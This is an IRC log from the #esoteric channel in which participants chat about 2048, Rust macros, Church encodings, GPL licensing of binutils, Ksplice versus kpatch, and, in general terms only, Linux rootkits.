#esoteric :yeah < 1396049014 568643 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :that's what I do < 1396049044 550169 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i've won at 2048 (and doge2048) a number of times by now < 1396049052 429594 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it doesn't remove the compulsion to play, only the illusion that I was having fun < 1396049069 59231 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :That should easily get the winning rate to 50%. < 1396049076 861876 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I have to fight the urge to try and reach 8192. < 1396049129 596808 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :kmc: have you tried Threes < 1396049332 64076 :JesseH!~JesseH@oftn/member/JesseH QUIT :Ping timeout: 255 seconds < 1396049462 105298 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i just got pretty far in 2584 with the corner strategy < 1396049469 84827 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :seems a bit broken that that works < 1396050271 739432 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :fungot: I guess it would be nice to give my heart to a god, but which one do I choose? < 1396050271 953499 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :kmc: obviously.... what? < 1396050294 499721 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :fungot: you are not the destroyer < 1396050294 779830 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :kmc: i've been thinking of.) is very weird even if you take a list of posn structs and drawing an image that has no compiler. < 1396050320 142791 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com TOPIC #esoteric :an image that has no compiler | PSA: fizzie is running the wiki now, contact him for any problems | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/ < 1396050698 164101 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1396050742 355394 :JesseH!~JesseH@oftn/member/JesseH JOIN :#esoteric < 1396051433 418335 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :Very poetic < 1396052090 160840 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover JOIN :#esoteric < 1396052527 360388 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 QUIT :Ping timeout: 264 seconds < 1396052552 587118 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 JOIN :#esoteric < 1396052786 402554 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I think I like WAI and conduits... but Yesod itself maybe not so much :/ < 1396052796 247502 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I should actually try writing code at some point < 1396053509 297121 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1396053679 468192 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1396053681 547615 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1396053812 976739 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover QUIT :Quit: Leaving < 1396054136 297922 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :ugh < 1396054139 557571 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :took me awhile < 1396054141 497511 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :but "h < 1396054144 808369 :olsner!~salparot@c83-252-203-32.bredband.comhem.se QUIT :Quit: Leaving < 1396054145 543746 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :derp < 1396054157 558219 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :but "Hi" in Barely is xhooooooooooooooxjjjjjjjjjjjjjjhhhh~ < 1396054206 207376 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :or atleast i think, dont feel like making a DOS vm (or touching the dinosoar) < 1396054227 347413 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :does anyone know if barely outputs as ASCII? < 1396054230 911722 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :it doesnt say < 1396054409 59191 :nooodl!~nooodl@91.177.77.176 QUIT :Quit: Ik ga weg < 1396057505 485811 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1396058611 928414 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Is ATS likely to be of any interest compared to Idris and similar languages? < 1396058676 995301 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :no < 1396059020 538668 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1396059440 657701 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Sgeo did you learn Rust yet < 1396059449 538866 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I read about it some time ago < 1396059466 598940 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I should go read about procedural macros in Rust... is that in 0.9 or only in HEAD? < 1396059510 487692 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :think only in HEAD < 1396059514 958398 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :and there's not a lot to read :P < 1396059548 739666 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I mean "procedural macro" is a fancy term for "we dlopen() your crate in the compiler and stuff your function into the frontend pipeline" < 1396059565 357964 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :so you're coding against the internal rustc APIs (which use deprecated language features, lololol) < 1396059568 127617 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Ah. So not a nice pretty syntax-case < 1396059583 909136 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :no < 1396059604 107823 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the non-procedural "Macros By Example" are pattern-matching-based < 1396059606 918200 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :that's neat, so you have pretty clean compiletime runtime separation < 1396059617 627943 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but maybe they're closer to syntax-rules? i don't know scheme that well < 1396059619 957732 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :anyway < 1396059688 167490 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Sgeo: that internal rustc API does include a quasiquote syntax, thankfully < 1396059689 118156 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :https://github.com/kmcallister/html5/blob/82ddb1433237023daf1168abcb8b1c233b5e6858/macros/named_entities.rs#L103-L110 < 1396059716 907771 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :syntax-rules is pattern matching based, syntax-case includes a macro for pattern matching called syntax-case, but implies other things that allow for arbitrary computation of syntax objects easily < 1396059724 29626 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ok < 1396059759 201298 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Bike: how do you mean? < 1396059777 282790 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :macros don't stick around in the runtime image, they're only loaded in the compiler context < 1396059834 188086 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :sure, that's basically what I expect from a language with macros and a phase distinction < 1396059862 548428 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the syntax to load a procedural macro crate is #[phase(syntax)] extern crate my_macros; < 1396059870 637848 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :if you want that crate avail. at runtime too you can do #[phase(syntax,link)] < 1396060036 277858 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :actually that's how you load non-procedural exported macros, too < 1396060043 100268 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :does scheme do it? < 1396060050 948057 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the ability to export macros from a crate came in at the same time as procedural macros < 1396060058 934622 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :idk, scheme doesn't have so much of a phase distinction though, does it? < 1396060073 657687 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :in some lisps anyway "compile" is just a function you can invoke at runtime < 1396060089 199348 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :like instead of (eval foo) you compile it first and now it's faster < 1396060090 201678 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :well, i don't know < 1396060100 148428 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :paging someone who knows scheme < 1396060101 448879 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :common lisp has a phase distinction but macros stick around < 1396060117 992003 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :what do they do at runtime? hang around awkwardly looking at their shoes? < 1396060124 800758 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :basically yeah < 1396060141 145567 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :it's one of the ways common lisp is obviously made for lisp machines :/ (and so a persistent environment you fuck with) < 1396060155 399219 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I see < 1396060207 847479 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :kmc: Racket has phases, can't speak for Schemes in general < 1396060574 349121 :tertu!~quassel@174-20-41-3.mpls.qwest.net JOIN :#esoteric < 1396060601 309465 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1396061424 587433 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I wonder if anyone has made a runtime eval() for Rust yet < 1396061452 138112 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :in theory it shouldn't be that hard, because the compiler is written as a library (rather, various libraries) < 1396061479 917705 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :and it can compile to a .so and there's a cross-platform dlopen()-like interface already in the stdlib < 1396061499 38217 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :(it's a pretty minimal wrapper, though; doesn't do load-time typechecking or anything) < 1396061539 438344 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :you could also try to use the LLVM JIT, that's what the old rusti used, but it was removed due to bugginess < 1396061982 473178 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Is b -> (a -> b) -> b morally equivalent to Maybe a? Is there a name for doing that? Can it be done with List a? < 1396062005 607942 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :yes and yes < 1396062012 419599 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :church encoding < 1396062021 307920 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :it can be done in a couple of different ways with List < 1396062036 609119 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :simplest form of that gives you exactly foldr < 1396062095 38102 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Are there types whose church encoding covers more than just the type? < 1396062104 968074 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Was thinking Maybe Int, but not in that case < 1396062134 887720 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :But... e.g. something where you could say const something instead of using the input, to build something that doesn't actually correspond to a value that the type has < 1396062162 447782 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :hm < 1396062172 698179 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :as long as you have a polymorphic return value, it's equivalent to some type < 1396062264 379252 :tromp__!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1396062336 949379 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 240 seconds < 1396062362 229847 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :how does that theorem work? :) < 1396062368 301760 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Sgeo: forall b. b -> (a -> b) -> b is Maybe a < 1396062379 127719 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :is what copumpkin means < 1396062393 847508 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Sgeo: there's also Mogensen-Scott encoding < 1396062481 165596 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :yeah, that's what I meant by the couple of different ways for List < 1396062489 87617 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :for non-recursive types they look the same < 1396062492 27804 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ah < 1396062510 228979 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i forgot the difference, anyway, I guess it's about whether it represents one level of constructor or all of them? < 1396062518 557822 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :like whether it folds the whole list or just applies a function to the first cons cell < 1396062533 157891 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :newtype List a = List (forall r. r -> (a -> List a -> r) -> r) < 1396062539 767693 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :newtype List a = List (forall r. r -> (a -> r -> r) -> r) < 1396062544 707771 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :*nod* < 1396062609 948183 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1396062633 688033 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :SomeException isn't as magic as I thought, I think < 1396062689 348205 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :throw ThisException `catch` \e -> putStrLn ("Caught " ++ show (e :: MyException)) < 1396062705 127209 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I gather that it's just return type polymorphism getting to brag some more < 1396062768 707865 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :does the GPL dislike it if I distribute a subset of someone's work? < 1396062782 348353 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :like, I want to distribute a tarball of binutils minus everything that isn't needed for libopcodes < 1396062794 668053 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :because it's ****ing huge otherwise < 1396062832 347675 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :it doesn't seem like it should be problematic, right? < 1396062857 575747 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :a mirror for the other parts of binutils is provided by the gnu foundation, < 1396062885 617757 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :there's a libopcodes-only distro? I'd take that < 1396062902 573451 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :it unfortunately also tries to depend on libiberty, bfd, and intl < 1396062952 284866 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :“You may convey a work based on the Program, or the modifications to produce it from the Program [...]” < 1396063032 487758 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the gnu operating system < 1396063066 338663 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :(But “Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.”) < 1396063095 67904 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I was recently reminiscing about how I happened to have BFD on my résumé when I applied to Ksplice (because I'd done like two 50-line projects)… < 1396063109 308091 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :and they were excited because the core of their product is a 3,000 line C program which uses BFD heavily and has very few comments < 1396063128 848080 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :sorry that's 3,000 lines in one file, there are some other files too < 1396063156 856721 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :what's bfd < 1396063217 860678 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Binary_File_Descriptor_library < 1396063220 948943 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :don't miss the "history" section < 1396063434 117992 :ion!ion@heh.fi PRIVMSG #esoteric :kmc: Any thoughts on ? < 1396063513 798653 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :hmm < 1396063516 459515 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I haven't looked at this < 1396063542 954657 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it looks extremely similar to Ksplice < 1396063549 248382 :ion!ion@heh.fi PRIVMSG #esoteric :yeah < 1396063561 408174 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :not just in purpose/design but the code structure is very similar < 1396063567 208483 :ion!ion@heh.fi PRIVMSG #esoteric :ok < 1396063581 18249 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it might be a fork -- the original Ksplice was GPL, and they would change the name to avoid Oracle trademark lawyers < 1396063587 918270 :ion!ion@heh.fi PRIVMSG #esoteric :ok < 1396063596 318143 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but I don't see ksplice people listed in the copyright sections < 1396063666 22667 :ion!ion@heh.fi PRIVMSG #esoteric :I wouldn’t mind the maintainers of my $distro starting to use that officially. < 1396063762 578213 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :"Unfortunately kpatch depends on Linux kernel >= 3.7, so it’s not compatible with RHEL/CentOS 6." < 1396063774 609082 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Heh, the github history starts with a 2000-line kmod < 1396063776 907539 :ion!ion@heh.fi PRIVMSG #esoteric :at some point in the future < 1396063781 658302 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :... this may have been written from scratch < 1396063806 678215 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the commercial version of ksplice worked all the way back to RHEL4's 2.6.9 kernel < 1396063823 847939 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :though the released GPL code only supported CentOS 5 < 1396063843 698635 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :supporting 2.6.9 resulted in some hilarity, had to ksplice fixes to bugs that would prevent other ksplicing from working < 1396063860 408673 :ion!ion@heh.fi PRIVMSG #esoteric :nice < 1396063891 779511 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yeah it's cool that you could apply updates to a system that was booted years before ksplice existed < 1396063903 107953 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :since it works on a totally stock distro kernel without rebooting even once < 1396063909 728917 :ion!ion@heh.fi PRIVMSG #esoteric :yeagh < 1396063912 808561 :ion!ion@heh.fi PRIVMSG #esoteric :yeah even :-P < 1396063935 30584 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I don't think it would take all that much work for some skilled kernel developers (of which RH has many) to reimplement ksplice just for 3.7+ < 1396063943 788149 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :since they have the paper and the GPL'd code to look at < 1396063998 48759 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :and they have a clear competitive reason to do so < 1396064040 44580 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :ion and kmc have the same color on my end and it's tripping me out < 1396064042 208728 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :“Frequently Asked Questions. Q: Isn't this just a virus/rootkit injection framework?” < 1396064047 68304 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :hahaha < 1396064049 28076 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yes < 1396064052 398693 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ksplice would make a baller rootkit < 1396064053 596695 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :thank you jafet < 1396064057 438260 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it's also a good rootkit detector < 1396064059 428242 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :you have broken the curse < 1396064061 568740 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :we detected a lot of rootkits bitd < 1396064066 208789 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :uhhh yes insmod is a great rootkit injection < 1396064099 8792 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yeah, what I mean is that ksplice tech would help one write a very sophisticated rootkit, but having ksplice on your system doesn't make it any easier for an attacker to install a rootkit < 1396064117 475264 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :do malicious linux rootkits exist < 1396064121 488169 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :? < 1396064130 275770 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :do they? < 1396064132 308250 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Almost certainly yes < 1396064134 688940 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i don't understand the question < 1396064135 248161 :ion!ion@heh.fi PRIVMSG #esoteric :No, they are all benevolent. < 1396064177 528827 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I want to write a Linux kernel rootkit in Rust < 1396064201 68634 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :people have written a few kernel modules in Rust but only hello world stuff < 1396064211 158710 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it would be fun to do something complicated and actually write Rust bindings for parts of the kernel API and such < 1396064223 436188 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :when i used windows i got hit by rootkits once or twice. does (not "can") this occur on linux < 1396064237 988085 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yes, most servers run Linux so malware for compromising Linux servers is very popular < 1396064249 640015 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :oh < 1396064254 218597 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :"rootkit" is something I associate with servers, anyway < 1396064264 564850 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it's usually called something else when it's desktop malware although the distinction may be arbitrary < 1396064280 188267 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :to me the term "rootkit" basically assumes you have a nosy sysadmin and you want to hide things from them < 1396064320 908193 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :one of the major features of a rootkit is to hide stuff from ls, ps, etc. < 1396064341 748084 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :fungot: are you a nosy sysadmin < 1396064342 29479 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :kmc: hm, scheme would go fnord. i'll start working on it < 1396064356 612265 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I thought eastern european haxxxorz but that sounds plausible too < 1396064360 788506 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :fungot: very good. give me status updates every half-hour. < 1396064360 975147 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :kmc: all fnord colours are black, no matter what it's called < 1396064375 748034 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :"HAXXXOR Volume 1: No Longer Floppy" < 1396064389 438285 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :https://archive.org/details/haxxxor_volume_1_dvd nsfw < 1396064396 748041 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :fungot: any fnord colour you like < 1396064397 168506 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Jafet: but without mmu isn't as bad as last time we had turkey was the thanksgiving of ' 98 when the oven element burned out and we made easy os. < 1396064399 458068 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :whoa < 1396064408 844309 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :With the risque "HaXXXor" series of low-budget films, Nmap makes the leap from Science fiction to soft-core pornography. < 1396064431 347922 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :http://nmap.org/movies/elysium/elysium-nmap-screenshot-720x400.jpg i love this shit < 1396064473 628370 :ion!ion@heh.fi PRIVMSG #esoteric :I hate it when hackers download lethal threats to my data hosts. < 1396064475 66939 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :"If you notice something familiar about the background Nmap scans in the screenshots below, it's because the film makers directly cribbed some of them from The Matrix Reloaded. " oh this is good stuff < 1396064734 328285 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :fnord < 1396064737 687855 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :i should keep reading that book < 1396064821 178927 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :p. < 1396064837 958158 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :help < 1396064972 830773 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :the novelization of matrix reloaded was pretty good, < 1396065069 999939 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :oh, this RH thing uses rather than BFD < 1396065071 678280 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :probably wise. < 1396065991 419897 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1396066177 758462 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ACTION reads http://community.haskell.org/~simonmar/papers/ext-exceptions.pdf < 1396066881 778979 :zzo38!~zzo38@24-207-51-179.eastlink.ca JOIN :#esoteric < 1396067043 409966 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net NICK :^v < 1396067491 638700 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"There was an experiment at Sandia Labs in which a backdoor was inserted into code and code reviewers told where in code to look for it. They could not find it – even knowing where to look." < 1396067507 49059 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :cool < 1396067508 658548 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :details? < 1396067520 68894 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I don't know details, I'm just quoting from https://blogs.oracle.com/maryanndavidson/entry/mandated_third_party_static_analysis < 1396067690 688289 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Hmm, hivemind seems to dislike that article http://www.reddit.com/r/netsec/comments/21fj35/mandated_third_party_static_analysis_bad_public/ < 1396068157 128421 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Is the code available that other people can look too? < 1396068238 949635 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net QUIT :Quit: leaving < 